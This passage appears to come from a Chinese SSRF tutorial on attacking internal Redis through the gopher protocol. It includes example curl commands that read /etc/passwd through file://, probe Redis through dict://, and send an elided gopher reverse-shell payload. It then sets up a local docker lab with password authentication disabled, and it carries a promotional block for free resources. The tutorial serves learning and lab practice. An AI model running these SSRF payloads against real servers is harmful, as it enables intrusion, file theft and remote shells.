SSRF–(Server-side Request Forge, 服务端请求伪造)
定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务
SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击内网Redis
SSRF攻击内网Redis
当存在SSRF漏洞且内网中Redis服务可以未授权访问时,利用Redis 任意文件写入成为十分常见的利用方式,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis。
在之前的文章,我们了解了file, dict, gopher协议的常规利用。
# 利用file协议查看文件
curl -v 'http://sec.com/ssrf.php?url=file:///etc/passwd'
# 利用dict探测端口
curl -v 'http://sec.com/ssrf.php?url=dict://127.0.0.1:6379'
# 利用gopher协议反弹shell
curl -v 'http://sec.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379/_....'
【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)
想要利用 Gopher 协议构造报文我们就必须弄清楚Redis是怎么进行数据传输的–即【RESP协议】。
Redis传输协议–[RESP协议]
Redis未授权访问。
使用docker搭建现成的Redis未授权漏洞环境进行试验,过程如下:
- 获取Redis定制镜像
# 搜索镜像
docker search ju5ton1y
# 拉取镜像
docker pull ju5ton1y/redis
-
运行Redis容器
ps:想要了解ju5ton1y/redis镜像dockerfile如何编写的同学可以看文末彩蛋~
# 运行Redis
docker run -p 6788:6379 --name redis_test -d ju5ton1y/redis
-p 6788:6379 # 端口映射,格式【主机(宿主)端口:容器端口】
-d ju5ton1y/redis # 后台运行容器,返回容器ID
–name redis_test # 命名容器
- 进入容器,安装tcpdump抓包工具
# 新终端进入Redis容器
docker exec -it redis_test /bin/bash
# 将redis.conf改为无密码未授权
sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf
# 重启容器使配置生效
docker restart redis_test
# 重新进入容器安装tcpdump
apt-get install tcpdump
# 监听eth0网卡的6379端口,将报文保存为nopass.pcap
tcpdump -i eth0 port 6379 -w nopass.pcap
- 本地客户端进行连接未授权访问,后使用Wireshark打开n